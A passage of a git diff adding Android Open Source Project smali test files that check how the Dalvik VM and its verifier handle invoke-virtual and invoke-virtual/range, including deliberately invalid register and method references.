+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_22.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_22;
+.super  Ldot/junit/opcodes/invoke_virtual/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_virtual/d/TPlain;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_virtual/d/TPlain;-><init>()V
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_23.smali
new file mode 100644
index 0000000..f3cd065
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_23.smali

@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_23.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_23;
+.super  Ldot/junit/opcodes/invoke_virtual/d/TSuper2;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/d/TSuper2;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_virtual/d/TSuper;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;-><init>()V
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/d/TSuper2;->test()I
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_25.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_25.smali
new file mode 100644
index 0000000..26b005f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_25.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_25.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_25;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 8
+
+       new-instance v6, Ljava/lang/Object;
+       invoke-virtual {v6, v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_5.smali
new file mode 100644
index 0000000..5bd3370
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_5.smali

@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_5.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static test()V
+.registers 0
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_5;->test()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_6.smali
new file mode 100644
index 0000000..c3ef96a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_6.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_6;
+.super  Ldot/junit/opcodes/invoke_virtual/ATest;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/ATest;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/ATest;->test()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_7.smali
new file mode 100644
index 0000000..e48e8fd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_7.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_7.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_7;
+.super  Ldot/junit/opcodes/invoke_virtual/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_7;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_8.smali
new file mode 100644
index 0000000..b3e59bc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_8.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_8.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual {v6, v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_9.smali
new file mode 100644
index 0000000..707456a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_9.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_9.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual {v8, v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TPlain.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TPlain.smali
new file mode 100644
index 0000000..b789b19
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TPlain.smali

@@ -0,0 +1,31 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TPlain.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/TPlain;
+.super   Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 5
+    return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper2.smali
new file mode 100644
index 0000000..eec2160
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper2.smali

@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TSuper2.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/TSuper2;
+.super  Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public test()I 
+.registers 3
+    const v0, 123
+    return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_1.smali
new file mode 100644
index 0000000..887460b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_1.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_1.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual/range {v6..v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_10.smali
new file mode 100644
index 0000000..4d8488a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_10.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_10.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_10;
+.super  Ljava/lang/Object;
+
+.method static constructor <clinit>()V
+.registers 0
+    return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+    invoke-virtual/range {v0}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_10;-><clinit>()V
+    return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_11.smali
new file mode 100644
index 0000000..c9be09d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_11.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_11.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual/range {v6}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_12.smali
new file mode 100644
index 0000000..ae0757e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_12.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_12.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public test(Ljava/lang/String;)V
+.registers 2
+    return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       move-object v6, v5
+       invoke-virtual/range {v6..v7}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_12;->test(Ljava/lang/String;)V
+
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_13.smali
new file mode 100644
index 0000000..3503514
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_13.smali

@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_13.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_13;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_14.smali
new file mode 100644
index 0000000..07f314e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_14.smali

@@ -0,0 +1,57 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_14.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_14;
+.super  Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 7
+
+    const v1, 123
+    const v2, 659
+    
+    const v4, 300
+    const v5, 3
+    move-object v3, v6
+
+    invoke-virtual/range {v3..v5}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_14;->testArgsOrder(II)I
+
+    move-result v3
+    const v4, 100
+    if-ne v3, v4, :Label0
+
+    const v4, 123
+    if-ne v1, v4, :Label0
+
+    const v4, 659
+    if-ne v2, v4, :Label0
+    
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_15.smali
new file mode 100644
index 0000000..3f3d97a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_15.smali

@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_15.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_15;->testN()V
+       return-void
+.end method
+
+.method public test()V
+.registers 1
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_16.smali
new file mode 100644
index 0000000..a18538e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_16.smali

@@ -0,0 +1,26 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_16.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 3
+       invoke-virtual/range {v2}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_17.smali
new file mode 100644
index 0000000..b183185
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_17.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_17.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_17;
+.super  Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_17;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_18.smali
new file mode 100644
index 0000000..cdf94b6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_18.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_18.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_18;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_virtual_range/TestStubs;)V
+.registers 5
+       invoke-virtual/range {v4}, Ldot/junit/opcodes/invoke_virtual_range/TestStubs;->TestStub()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_19.smali
new file mode 100644
index 0000000..59d6b53
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_19.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_19.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_19;
+.super  Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       move-object v2, v3
+       const/4 v3, 1
+       invoke-virtual/range {v2..v3}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_19;->toInt(I)I
+       move-result v0
